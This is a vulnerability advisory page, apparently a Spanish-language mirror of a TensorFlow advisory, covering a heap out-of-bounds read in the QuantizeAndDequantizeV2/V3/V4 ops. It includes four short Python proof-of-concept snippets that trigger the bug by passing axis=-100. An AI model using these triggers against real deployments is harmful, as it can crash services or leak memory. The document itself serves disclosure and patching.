Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops
Impact
The shape inference functions for the QuantizeAndDequantizeV* operations can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:
import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV4Grad(
gradients=[1.0,1.0],
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
axis=-100)
return data
test()import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV4(
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
signed_input=False,
num_bits=10,
range_given=False,
round_mode='HALF_TO_EVEN',
narrow_range=False,
axis=-100)
return data
test()import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV3(
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
signed_input=False,
num_bits=10,
range_given=False,
narrow_range=False,
axis=-100)
return data
test()import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV2(
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
signed_input=False,
num_bits=10,
range_given=False,
round_mode='HALF_TO_EVEN',
narrow_range=False,
axis=-100)
return data
test()In all of these cases, axis is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values:
...
if (axis != -1) {
...
c->Dim(input, axis);
...
}Patches
We have patched the issue in GitHub commit 7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d.
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | tensorflow | >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 | 2.6.1, 2.5.2, 2.4.4 |
| Python (PyPI) | tensorflow-cpu | >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 | 2.6.1, 2.5.2, 2.4.4 |
| Python (PyPI) | tensorflow-gpu | >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 | 2.6.1, 2.5.2, 2.4.4 |
Referencias
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-49rx-x2rw-pc6f
- https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d
- https://nvd.nist.gov/vuln/detail/CVE-2021-41205
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-615.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-813.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-398.yaml
- https://github.com/tensorflow/tensorflow
- Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H- Debilidad (CWE)
CWE-125- Plataforma
- Python (PyPI)
- Paquete
tensorflow, tensorflow-cpu, tensorflow-gpu- Publicada
- 05.11.2021
- Actualizado
- 11.10.2026 13:19
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2021-398 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-615 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-813 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-49rx-x2rw-pc6f - CC BY 4.0
Historial de vulnerabilidades: tensorflow-gpu
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 427
- Primera → última
- 04.2019 07.2024
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 6
- Alta 109
- Media 207
- Baja 105
Divulgaciones por año
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 18
- 2024: 1
- 2025: 0
- 2026: 0
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Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops esta entrada
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